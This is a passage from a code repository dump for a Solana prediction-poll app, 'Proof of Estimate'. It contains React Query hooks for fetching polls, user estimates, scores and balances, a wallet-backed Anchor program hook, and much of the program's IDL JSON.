return accounts.sort((a, b) => b.account.score - a.account.score);
};
const useAllUserAccounts = (program: Program) => {
return useQuery({
queryKey: [allUserAccounts],
queryFn: async () => await getAllUserPredictions(program),
// staleTime: Infinity,
enabled: !!program,
});
};
export { useAllUserAccounts, getAllUserPredictions, allUserAccounts };
================================================
FILE: hooks/queries/useAllUserPredictions.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { PublicKey } from "@solana/web3.js";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
const allUserEstimatesKey = "allUserEstimates";
const getAllUserPredictions = async (
program: Program,
publicKey: PublicKey | null
) => {
if (publicKey) {
return await program.account.userEstimate.all([
{
memcmp: {
offset: 8, // discriminator
bytes: publicKey.toBase58(),
},
},
]);
} else {
return null;
}
};
const useAllUserPredictions = (
program: Program,
publicKey: PublicKey | null
) => {
return useQuery({
queryKey: [allUserEstimatesKey, publicKey?.toBase58() || ""],
queryFn: async () => await getAllUserPredictions(program, publicKey),
staleTime: Infinity,
enabled: !!program,
});
};
export { useAllUserPredictions, getAllUserPredictions, allUserEstimatesKey };
================================================
FILE: hooks/queries/useEstimateUpdatesByPoll.ts
================================================
import { keepPreviousData, useQuery } from "@tanstack/react-query";
import { BN, Program } from "@coral-xyz/anchor";
import { PublicKey } from "@solana/web3.js";
import { Poe } from "@/idl/poe";
type EstimateData = {
name: Date;
estimate: number | null;
confidenceInterval: number[] | null;
};
const estimateUpdatesByPollKey = "estimateUpdatesByPoll";
const getEstimateUpdatesByPoll = async (
program: Program,
pollId: number,
publicKey: PublicKey | null
) => {
const [pollPda] = PublicKey.findProgramAddressSync(
[Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
program.programId
);
const pollAccount = await program.account.poll.fetch(pollPda);
const estimateUpdates = await program.account.pollEstimateUpdate.all([
{
memcmp: {
offset: 8, // discriminator
bytes: pollPda.toBase58(),
},
},
]);
estimateUpdates.sort(
(a, b) => a.account.timestamp.toNumber() - b.account.timestamp.toNumber()
);
const updateData = estimateUpdates.map((update) => {
const timestamp = update.account.timestamp.toNumber();
return {
timestamp: timestamp,
estimate: update.account.estimate,
deviation:
update.account.variance !== null && update.account.variance >= 0
? Math.sqrt(update.account.variance / 2)
: null,
};
});
updateData.sort((a, b) => a.timestamp - b.timestamp);
let estimates = [];
let today = new Date().getTime();
let lastDisplayTime =
pollAccount.result === null
? today / 1000
: updateData[updateData.length - 1].timestamp;
for (let i = 0; i < updateData.length - 1; i++) {
const time = updateData[i].timestamp;
const estimate = updateData[i].estimate;
const deviation = updateData[i].deviation;
const nextTime = updateData[i + 1].timestamp;
// Fill with data between updates, not necessary but a smoother experience
for (let j = 0; j < nextTime - time; j = j + 60000000000000) {
estimates.push({
name: time + j,
estimate: estimate !== null ? estimate / 10000 : null,
confidenceInterval:
deviation !== null && estimate !== null
? [estimate / 10000 - deviation, estimate / 10000 + deviation]
: null,
} as unknown as EstimateData);
}
estimates.push({
name: nextTime,
estimate: estimate !== null ? estimate / 10000 : null,
confidenceInterval:
deviation !== null && estimate !== null
? [estimate / 10000 - deviation, estimate / 10000 + deviation]
: null,
} as unknown as EstimateData);
}
const lastTimestamp = updateData[updateData.length - 1].timestamp;
const lastEstimate = updateData[updateData.length - 1].estimate;
const lastDeviation = updateData[updateData.length - 1].deviation;
for (let k = 0; k < lastDisplayTime - lastTimestamp; k = k + 1000000000) {
estimates.push({
name: lastTimestamp + k,
estimate: lastEstimate !== null ? lastEstimate / 10000 : null,
confidenceInterval:
lastDeviation !== null && lastEstimate !== null
? [
lastEstimate / 10000 - lastDeviation,
lastEstimate / 10000 + lastDeviation,
]
: null,
} as unknown as EstimateData);
}
estimates.push({
name: lastDisplayTime,
estimate: lastEstimate !== null ? lastEstimate / 10000 : null,
confidenceInterval:
lastDeviation !== null && lastEstimate !== null
? [
lastEstimate / 10000 - lastDeviation,
lastEstimate / 10000 + lastDeviation,
]
: null,
} as unknown as EstimateData);
return estimates;
};
const useEstimateUpdatesByPoll = (
program: Program,
pollId: number,
publicKey: PublicKey | null
) => {
return useQuery({
queryKey: [estimateUpdatesByPollKey, pollId],
queryFn: async () =>
await getEstimateUpdatesByPoll(program, pollId, publicKey),
enabled: !!program,
placeholderData: keepPreviousData,
refetchInterval: 10000,
});
};
export {
useEstimateUpdatesByPoll,
getEstimateUpdatesByPoll,
estimateUpdatesByPollKey,
};
================================================
FILE: hooks/queries/usePollById.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { PublicKey } from "@solana/web3.js";
import { BN, Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
const pollByIdKey = "pollById";
const getPollById = async (program: Program, pollId: number) => {
const [pollPda] = PublicKey.findProgramAddressSync(
[Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
program.programId
);
return await program.account.poll.fetch(pollPda);
};
const usePollById = (
program: Program,
pollId: number,
isVisible: boolean
) => {
return useQuery({
queryKey: [pollByIdKey, pollId],
queryFn: async () => await getPollById(program, pollId),
enabled: !!program && isVisible,
});
};
export { usePollById, getPollById, pollByIdKey };
================================================
FILE: hooks/queries/useUserAccount.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey } from "@solana/web3.js";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
const userAccountKey = "userAccount";
const getUserAccount = async (
program: Program,
connection: Connection,
publicKey: PublicKey | null
) => {
if (publicKey) {
let [userPda] = PublicKey.findProgramAddressSync(
[Buffer.from("user"), publicKey.toBuffer()],
program.programId
);
const userAccount = await connection.getAccountInfo(userPda);
if (userAccount) {
return await program.account.user.fetch(userPda);
} else {
return null;
}
} else {
return null;
}
};
const useUserAccount = (
program: Program,
connection: Connection,
publicKey: PublicKey | null
) => {
return useQuery({
queryKey: [
userAccountKey,
connection.rpcEndpoint,
publicKey?.toBase58() || "",
],
queryFn: async () => await getUserAccount(program, connection, publicKey),
staleTime: Infinity,
enabled: !!program,
});
};
export { useUserAccount, getUserAccount, userAccountKey };
================================================
FILE: hooks/queries/useUserBonkBalance.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey } from "@solana/web3.js";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
import { getAssociatedTokenAddress } from "@solana/spl-token";
const userBonkBalanceKey = "userBonkBalance";
const getUserBalance = async (
program: Program,
connection: Connection,
publicKey: PublicKey | null
) => {
let [mintPda, _mintBump] = PublicKey.findProgramAddressSync(
[Buffer.from("poeken_mint")],
program.programId
);
if (publicKey) {
const tokenAccount = await getAssociatedTokenAddress(mintPda, publicKey);
const info = await connection.getTokenAccountBalance(tokenAccount);
return info.value.uiAmount;
} else {
return 0;
}
};
const useUserBonkBalance = (
program: Program,
connection: Connection,
publicKey: PublicKey | null
) => {
return useQuery({
queryKey: [
userBonkBalanceKey,
connection.rpcEndpoint,
publicKey?.toBase58() || "",
],
queryFn: async () => await getUserBalance(program, connection, publicKey),
initialDataUpdatedAt: Date.now(),
});
};
export { useUserBonkBalance, getUserBalance, userBonkBalanceKey };
================================================
FILE: hooks/queries/useUserEstimateByPoll.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey } from "@solana/web3.js";
import { BN, Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
const userEstimateKey = "userEstimate";
const getUserEstimateByPoll = async (
program: Program,
connection: Connection,
publicKey: PublicKey | null,
pollId: number
) => {
if (publicKey) {
const [pollPda] = PublicKey.findProgramAddressSync(
[Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
program.programId
);
let [userPredictionPda] = PublicKey.findProgramAddressSync(
[Buffer.from("user_estimate"), pollPda.toBuffer(), publicKey.toBuffer()],
program.programId
);
const userPredictionAccount = await connection.getAccountInfo(
userPredictionPda
);
if (userPredictionAccount) {
return await program.account.userEstimate.fetch(userPredictionPda);
} else {
return null;
}
} else {
return null;
}
};
const useUserEstimateByPoll = (
program: Program,
connection: Connection,
publicKey: PublicKey | null,
pollId: number,
isVisible: boolean
) => {
return useQuery({
queryKey: [
userEstimateKey,
pollId,
connection.rpcEndpoint,
publicKey?.toBase58() || "",
],
queryFn: async () =>
await getUserEstimateByPoll(program, connection, publicKey, pollId),
staleTime: Infinity,
enabled: !!program && isVisible,
});
};
export { useUserEstimateByPoll, getUserEstimateByPoll, userEstimateKey };
================================================
FILE: hooks/queries/useUserScore.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey } from "@solana/web3.js";
import { BN, Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
const userScoreKey = "userScore";
const getUserScore = async (
program: Program,
connection: Connection,
publicKey: PublicKey | null,
pollId: number | undefined
) => {
if (publicKey !== null && pollId !== undefined) {
const [pollPda] = PublicKey.findProgramAddressSync(
[Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
program.programId
);
let [userScorePda] = PublicKey.findProgramAddressSync(
[Buffer.from("user_score"), pollPda.toBuffer(), publicKey.toBuffer()],
program.programId
);
const userScoreAccount = await connection.getAccountInfo(userScorePda);
if (userScoreAccount) {
return await program.account.userScore.fetch(userScorePda);
} else {
return null;
}
} else {
return null;
}
};
const useUserScore = (
program: Program,
connection: Connection,
publicKey: PublicKey | null,
pollId: number | undefined,
isVisible: boolean
) => {
return useQuery({
queryKey: [
userScoreKey,
pollId,
connection.rpcEndpoint,
publicKey?.toBase58() || "",
],
queryFn: async () =>
await getUserScore(program, connection, publicKey, pollId),
enabled: isVisible,
});
};
export { useUserScore, getUserScore, userScoreKey };
================================================
FILE: hooks/queries/useUserSolBalance.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey, LAMPORTS_PER_SOL } from "@solana/web3.js";
const userSolBalanceKey = "userSolBalance";
const getUserBalance = async (
connection: Connection,
publicKey: PublicKey | null
) => {
if (publicKey) {
const balance = await connection.getBalance(publicKey, "confirmed");
return balance / LAMPORTS_PER_SOL;
} else {
return 0;
}
};
const useUserSolBalance = (
connection: Connection,
publicKey: PublicKey | null
) => {
return useQuery({
queryKey: [
userSolBalanceKey,
connection.rpcEndpoint,
publicKey?.toBase58() || "",
],
queryFn: async () => await getUserBalance(connection, publicKey),
initialDataUpdatedAt: Date.now(),
});
};
export { useUserSolBalance, getUserBalance, userSolBalanceKey };
================================================
FILE: hooks/states/useTabStore.tsx
================================================
import { create } from "zustand";
type TabState = "all" | "coming";
interface TabsState {
tab: TabState;
setTab: (newTab: string) => void;
}
export const useTabsStore = create()((set) => ({
tab: "coming",
setTab: (newTab: string) => set({ tab: newTab as TabState }),
}));
================================================
FILE: hooks/useAnchorProgram.tsx
================================================
import { useEffect, useState } from "react";
import { AnchorProvider, Idl, Program } from "@coral-xyz/anchor";
import { useAnchorWallet, useConnection } from "@solana/wallet-adapter-react";
import idlFile from "@/idl/poe.json";
import { Poe } from "@/idl/poe";
import { Keypair } from "@solana/web3.js";
export default function useAnchorProgram(): Program {
const { connection } = useConnection();
const wallet = useAnchorWallet();
const [program, setProgram] = useState | null>(null);
const idl = idlFile as Idl;
useEffect(() => {
let provider;
if (wallet) {
provider = new AnchorProvider(connection, wallet);
} else {
provider = new AnchorProvider(connection, {
publicKey: Keypair.generate().publicKey,
signAllTransactions: async (txes) => txes,
signTransaction: async (tx) => tx,
});
}
const program = new Program(idl, provider) as unknown as Program;
setProgram(program);
}, [wallet, connection, idl]);
return program as Program;
}
================================================
FILE: hooks/useIntersectionObserver.tsx
================================================
import { MutableRefObject, useEffect, useState } from "react";
interface IntersectionObserverOptions {
root?: Element | null;
rootMargin?: string;
threshold?: number | number[];
}
const useIntersectionObserver = (
ref: MutableRefObject,
options?: IntersectionObserverOptions
) => {
const [isIntersecting, setIsIntersecting] = useState(false);
useEffect(() => {
const observer = new IntersectionObserver(([entry]) => {
setIsIntersecting(entry.isIntersecting);
}, options);
const node = ref.current;
if (node) {
observer.observe(node);
}
return () => {
if (node) {
observer.unobserve(node);
}
};
}, [ref, options]);
return isIntersecting;
};
export default useIntersectionObserver;
================================================
FILE: idl/poe.json
================================================
{
"address": "ACyH6Avm4uYen8WWyTU4chExQqpF4gCHy5MmtqtpWomk",
"metadata": {
"name": "poe",
"version": "0.1.0",
"spec": "0.1.0",
"description": "Proof of Estimate - Prediction Poll"
},
"instructions": [
{
"name": "add_metadata",
"discriminator": [
231,
195,
40,
240,
67,
231,
53,
136
],
"accounts": [
{
"name": "payer",
"writable": true,
"signer": true
},
{
"name": "auth",
"pda": {
"seeds": [
{
"kind": "const",
"value": [
97,
117,
116,
104
]
}
]
}
},
{
"name": "mint",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
101,
107,
101,
110,
95,
109,
105,
110,
116
]
}
]
}
},
{
"name": "token_program",
"address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
},
{
"name": "metadata",
"writable": true
},
{
"name": "token_metadata_program"
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
},
{
"name": "rent",
"address": "SysvarRent111111111111111111111111111111111"
}
],
"args": [
{
"name": "uri",
"type": "string"
},
{
"name": "name",
"type": "string"
},
{
"name": "symbol",
"type": "string"
}
]
},
{
"name": "collect_points",
"discriminator": [
221,
8,
237,
153,
212,
171,
156,
131
],
"accounts": [
{
"name": "payer",
"writable": true,
"signer": true
},
{
"name": "forecaster"
},
{
"name": "user",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114
]
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "poll",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108
]
},
{
"kind": "account",
"path": "poll.id",
"account": "Poll"
}
]
}
},
{
"name": "user_estimate",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "scoring_list",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
]
},
{
"kind": "account",
"path": "poll"
}
]
}
},
{
"name": "user_score",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
115,
99,
111,
114,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "auth",
"pda": {
"seeds": [
{
"kind": "const",
"value": [
97,
117,
116,
104
]
}
]
}
},
{
"name": "mint",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
101,
107,
101,
110,
95,
109,
105,
110,
116
]
}
]
}
},
{
"name": "escrow_account",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
101,
115,
99,
114,
111,
119
]
}
]
}
},
{
"name": "forecaster_token_account",
"writable": true
},
{
"name": "token_program",
"address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
},
{
"name": "associated_token_program",
"address": "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": []
},
{
"name": "create_poll",
"discriminator": [
182,
171,
112,
238,
6,
219,
14,
110
],
"accounts": [
{
"name": "creator",
"writable": true,
"signer": true
},
{
"name": "resolver"
},
{
"name": "state",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
101,
95,
115,
116,
97,
116,
101
]
}
]
}
},
{
"name": "poll",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108
]
},
{
"kind": "account",
"path": "state.num_polls",
"account": "PoeState"
}
]
}
},
{
"name": "scoring_list",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
]
},
{
"kind": "account",
"path": "poll"
}
]
}
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": [
{
"name": "question",
"type": "string"
},
{
"name": "description",
"type": "string"
},
{
"name": "category",
"type": "u16"
},
{
"name": "decay",
"type": "f32"
}
]
},
{
"name": "initialize",
"discriminator": [
175,
175,
109,
31,
13,
152,
155,
237
],
"accounts": [
{
"name": "payer",
"writable": true,
"signer": true
},
{
"name": "state",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
101,
95,
115,
116,
97,
116,
101
]
}
]
}
},
{
"name": "auth",
"pda": {
"seeds": [
{
"kind": "const",
"value": [
97,
117,
116,
104
]
}
]
}
},
{
"name": "mint",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
101,
107,
101,
110,
95,
109,
105,
110,
116
]
}
]
}
},
{
"name": "escrow_account",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
101,
115,
99,
114,
111,
119
]
}
]
}
},
{
"name": "token_program",
"address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": []
},
{
"name": "make_estimate",
"discriminator": [
169,
43,
178,
59,
233,
178,
74,
199
],
"accounts": [
{
"name": "forecaster",
"writable": true,
"signer": true
},
{
"name": "user",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114
]
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "poll",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108
]
},
{
"kind": "account",
"path": "poll.id",
"account": "Poll"
}
]
}
},
{
"name": "user_estimate",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "poll_estimate_update",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108,
95,
101,
115,
116,
105,
109,
97,
116,
101,
95,
117,
112,
100,
97,
116,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "poll.num_estimate_updates",
"account": "Poll"
}
]
}
},
{
"name": "scoring_list",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
]
},
{
"kind": "account",
"path": "poll"
}
]
}
},
{
"name": "user_score",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
115,
99,
111,
114,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "forecaster_token_account",
"writable": true
},
{
"name": "mint",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
101,
107,
101,
110,
95,
109,
105,
110,
116
]
}
]
}
},
{
"name": "auth",
"pda": {
"seeds": [
{
"kind": "const",
"value": [
97,
117,
116,
104
]
}
]
}
},
{
"name": "escrow_account",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
101,
115,
99,
114,
111,
119
]
}
]
}
},
{
"name": "token_program",
"address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
},
{
"name": "associated_token_program",
"address": "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": [
{
"name": "lower_estimate",
"type": "u16"
},
{
"name": "upper_estimate",
"type": "u16"
}
]
},
{
"name": "register_user",
"discriminator": [
2,
241,
150,
223,
99,
214,
116,
97
],
"accounts": [
{
"name": "payer",
"writable": true,
"signer": true
},
{
"name": "user",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114
]
},
{
"kind": "account",
"path": "payer"
}
]
}
},
{
"name": "auth",
"pda": {
"seeds": [
{
"kind": "const",
"value": [
97,
117,
116,
104
]
}
]
}
},
{
"name": "mint",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
101,
107,
101,
110,
95,
109,
105,
110,
116
]
}
]
}
},
{
"name": "token_account",
"writable": true
},
{
"name": "token_program",
"address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
},
{
"name": "associated_token_program",
"address": "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": []
},
{
"name": "remove_estimate",
"discriminator": [
123,
41,
255,
206,
43,
234,
150,
38
],
"accounts": [
{
"name": "forecaster",
"writable": true,
"signer": true
},
{
"name": "user",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114
]
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "poll",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108
]
},
{
"kind": "account",
"path": "poll.id",
"account": "Poll"
}
]
}
},
{
"name": "user_estimate",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "estimate_update",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108,
95,
101,
115,
116,
105,
109,
97,
116,
101,
95,
117,
112,
100,
97,
116,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "poll.num_estimate_updates",
"account": "Poll"
}
]
}
},
{
"name": "scoring_list",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
]
},
{
"kind": "account",
"path": "poll"
}
]
}
},
{
"name": "user_score",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
115,
99,
111,
114,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": []
},
{
"name": "resolve_poll",
"discriminator": [
130,
62,
235,
12,
76,
239,
17,
61
],
"accounts": [
{
"name": "resolver",
"writable": true,
"signer": true,
"relations": [
"poll"
]
},
{
"name": "poll",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108
]
},
{
"kind": "account",
"path": "poll.id",
"account": "Poll"
}
]
}
},
{
"name": "scoring_list",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
]
},
{
"kind": "account",
"path": "poll"
}
]
}
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": [
{
"name": "result",
"type": "bool"
}
]
},
{
"name": "start_poll",
"discriminator": [
59,
188,
204,
28,
129,
88,
202,
242
],
"accounts": [
{
"name": "creator",
"writable": true,
"signer": true,
"relations": [
"poll"
]
},
{
"name": "poll",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108
]
},
{
"kind": "account",
"path": "poll.id",
"account": "Poll"
}
]
}
},
{
"name": "scoring_list",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
]
},
{
"kind": "account",
"path": "poll"
}
]
}
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": []
},
{
"name": "update_estimate",
"discriminator": [
16,
66,
42,
145,
179,
218,
133,
181
],
"accounts": [
{
"name": "forecaster",
"writable": true,
"signer": true
},
{
"name": "poll",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108
]
},
{
"kind": "account",
"path": "poll.id",
"account": "Poll"
}
]
}
},
{
"name": "user_estimate",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "user_estimate_update",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101,
95,
117,
112,
100,
97,
116,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
},
{
"kind": "account",
"path": "user_estimate.num_estimate_updates",
"account": "UserEstimate"
}
]
}
},
{
"name": "estimate_update",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
112,
111,
108,
108,
95,
101,
115,
116,
105,
109,
97,
116,
101,
95,
117,
112,
100,
97,
116,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "poll.num_estimate_updates",
"account": "Poll"
}
]
}
},
{
"name": "scoring_list",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
]
},
{
"kind": "account",
"path": "poll"
}
]
}
},
{
"name": "user_score",
"writable": true,
"pda": {
"seeds": [
{
"kind": "const",
"value": [
117,
115,
101,
114,
95,
115,
99,
111,
114,
101
]
},
{
"kind": "account",
"path": "poll"
},
{
"kind": "account",
"path": "forecaster"
}
]
}
},
{
"name": "system_program",
"address": "11111111111111111111111111111111"
}
],
"args": [
{
"name": "new_lower_estimate",
"type": "u16"
},
{
"name": "new_upper_estimate",
"type": "u16"
}
]
}
],
"accounts": [
{
"name": "PoeState",
"discriminator": [
56,
89,
110,
49,
245,
252,
16,
20
]
},
{
"name": "Poll",
"discriminator": [
110,
234,
167,
188,
231,
136,
153,
111
]
},
{
"name": "PollEstimateUpdate",
"discriminator": [
140,
170,
34,
23,
150,
213,
62,
18
]
},
{
"name": "ScoringList",
"discriminator": [
200,
108,
113,
50,
15,
45,
206,
81
]
},
{
"name": "User",
"discriminator": [
159,
117,
95,
227,
239,
151,
58,
236
]
},
{
"name": "UserEstimate",
"discriminator": [
4,
202,
200,
189,
121,
204,
147,
101
]
},
{
"name": "UserEstimateUpdate",
"discriminator": [
231,
183,
179,
64,
195,
152,
147,
122
]
},
{
"name": "UserScore",
"discriminator": [
212,
150,
123,
224,
34,
227,
84,
39
]
}
],
"errors": [
{
"code": 6000,
"name": "PollAlreadyStarted",
"msg": "Poll has already started."
},
{
"code": 6001,
"name": "PollClosed",
"msg": "Poll is closed."
},
{
"code": 6002,
"name": "PollNotResolved",
"msg": "Poll has not been resolved."
},
{
"code": 6003,
"name": "PollAlreadyResolved",
"msg": "Poll has already been resolved."
}
],
"types": [
{
"name": "PoeState",
"type": {
"kind": "struct",
"fields": [
{
"name": "authority",
"type": "pubkey"
},
{
"name": "num_polls",
"type": "u64"
},
{
"name": "score",
"type": "f32"
},
{
"name": "recalibration_factor",
"type": "f32"
},
{
"name": "bump",
"type": "u8"
}
]
}
},
{
"name": "Poll",
"type": {
"kind": "struct",
"fields": [
{
"name": "creator",
"type": "pubkey"
},
{
"name": "resolver",
"type": "pubkey"
},
{
"name": "id",
"type": "u64"
},
{
"name": "category",
"type": "u16"
},
{
"name": "has_started",
"type": "bool"
},
{
"name": "betting_amount",
"type": "u64"
},
{
"name": "start_slot",
"type": "u64"
},
{
"name": "end_slot",
"type": {
"option": "u64"
}
},
{
"name": "decay_rate",
"type": "f32"
},
{
"name": "collective_estimate",
"type": {
"option": "u32"
}
},
{
"name": "variance",
"type": {
"option": "f32"
}
},
{
"name": "ln_gm_a",
"type": {
"option": "f32"
}
},
{
"name": "ln_gm_b",
"type": {
"option": "f32"
}
},
{
"name": "num_forecasters",
"type": "u64"
},
{
"name": "num_estimate_updates",
"type": "u64"
},
{
"name": "accumulated_weights",
"type": "f32"
},
{
"name": "accumulated_weights_squared",
"type": "f32"
},
{
"name": "result",
"type": {
"option": "bool"
}
},
{
"name": "question",
"type": "string"
},
{
"name": "description",
"type": "string"
},
{
"name": "bump",
"type": "u8"
}
]
}
},
{
"name": "PollEstimateUpdate",
"type": {
"kind": "struct",
"fields": [
{
"name": "poll",
"type": "pubkey"
},
{
"name": "slot",
"type": "u64"
},
{
"name": "timestamp",
"type": "i64"
},
{
"name": "estimate",
"type": {
"option": "u32"
}
},
{
"name": "variance",
"type": {
"option": "f32"
}
},
{
"name": "bump",
"type": "u8"
}
]
}
},
{
"name": "ScoringList",
"serialization": "bytemuck",
"repr": {
"kind": "c"
},
"type": {
"kind": "struct",
"fields": [
{
"name": "options",
"type": {
"array": [
"f32",
128
]
}
},
{
"name": "cost",
"type": {
"array": [
"f32",
128
]
}
},
{
"name": "peer_score_a",
"type": {
"array": [
"f32",
128
]
}
},
{
"name": "peer_score_b",
"type": {
"array": [
"f32",
128
]
}
},
{
"name": "last_slot",
"type": "u64"
}
]
}
},
{
"name": "User",
"type": {
"kind": "struct",
"fields": [
{
"name": "user_address",
"type": "pubkey"
},
{
"name": "score",
"type": "f32"
},
{
"name": "participation_count",
"type": "u32"
},
{
"name": "correct_answers_count",
"type": "u32"
},
{
"name": "bump",
"type": "u8"
}
]
}
},
{
"name": "UserEstimate",
"type": {
"kind": "struct",
"fields": [
{
"name": "forecaster",
"type": "pubkey"
},
{
"name": "poll",
"type": "pubkey"
},
{
"name": "lower_estimate",
"type": "u16"
},
{
